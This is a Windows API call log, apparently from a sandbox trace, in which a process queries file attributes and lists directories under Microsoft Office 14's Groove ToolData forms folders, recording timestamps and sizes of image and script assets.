	[0052.624] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_earthy.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5228 | out: lpFileInformation=0x127e5228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a)) returned 1
	[0052.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepage.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5278 | out: lpFileInformation=0x127e5278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9b8)) returned 1
	[0052.625] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_formshomepageblank.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e52c8 | out: lpFileInformation=0x127e52c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb)) returned 1
	[0052.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_greentea.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5318 | out: lpFileInformation=0x127e5318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690)) returned 1
	[0052.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_groove.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5368 | out: lpFileInformation=0x127e5368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a)) returned 1
	[0052.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_lightspirit.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e53b8 | out: lpFileInformation=0x127e53b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6)) returned 1
	[0052.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_olivegreen.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5408 | out: lpFileInformation=0x127e5408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57)) returned 1
	[0052.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_premium.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5458 | out: lpFileInformation=0x127e5458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845)) returned 1
	[0052.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_slateblue.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e54a8 | out: lpFileInformation=0x127e54a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141)) returned 1
	[0052.631] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_texturedblue.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e54f8 | out: lpFileInformation=0x127e54f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c)) returned 1
	[0052.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_velvetrose.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5548 | out: lpFileInformation=0x127e5548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64)) returned 1
	[0052.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5598 | out: lpFileInformation=0x127e5598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x276)) returned 1
	[0052.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_disable.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e55e8 | out: lpFileInformation=0x127e55e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1
	[0052.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_left_over.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5638 | out: lpFileInformation=0x127e5638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b)) returned 1
	[0052.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5688 | out: lpFileInformation=0x127e5688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9)) returned 1
	[0052.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e56d8 | out: lpFileInformation=0x127e56d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35)) returned 1
	[0052.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5728 | out: lpFileInformation=0x127e5728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbb)) returned 1
	[0052.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5778 | out: lpFileInformation=0x127e5778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26e)) returned 1
	[0052.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e57c8 | out: lpFileInformation=0x127e57c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1)) returned 1
	[0052.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5818 | out: lpFileInformation=0x127e5818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b)) returned 1
	[0052.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\menu_arrow.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\menu_arrow.gif"), fInfoLevelId=0x0, lpFileInformation=0x127e5868 | out: lpFileInformation=0x127e5868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a)) returned 1
	[0052.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\utilityfunctions.js"), fInfoLevelId=0x0, lpFileInformation=0x127e58b8 | out: lpFileInformation=0x127e58b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x103f)) returned 1
	[0052.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\validation.js"), fInfoLevelId=0x0, lpFileInformation=0x127e5908 | out: lpFileInformation=0x127e5908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d6)) returned 1
	[0052.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewDblClick.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewdblclick.js"), fInfoLevelId=0x0, lpFileInformation=0x127e5958 | out: lpFileInformation=0x127e5958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x54)) returned 1
	[0052.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\viewSelectionChanged.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\viewselectionchanged.js"), fInfoLevelId=0x0, lpFileInformation=0x127e59a8 | out: lpFileInformation=0x127e59a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce)) returned 1
	[0052.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), fInfoLevelId=0x0, lpFileInformation=0x127e59f8 | out: lpFileInformation=0x127e59f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.644] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\add.gif"), fInfoLevelId=0x0, lpFileInformation=0x124bb228 | out: lpFileInformation=0x124bb228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244)) returned 1
	[0052.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x124bb278 | out: lpFileInformation=0x124bb278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8)) returned 1
	[0052.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\addtoviewarrowmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124bb2c8 | out: lpFileInformation=0x124bb2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924)) returned 1
	[0052.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif"), fInfoLevelId=0x0, lpFileInformation=0x124bb318 | out: lpFileInformation=0x124bb318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e)) returned 1
	[0052.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif"), fInfoLevelId=0x0, lpFileInformation=0x124bb368 | out: lpFileInformation=0x124bb368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2ffc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d2ffc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383)) returned 1
	[0052.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.654] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.659] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x127d3724 | out: lpFindFileData=0x127d3724*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
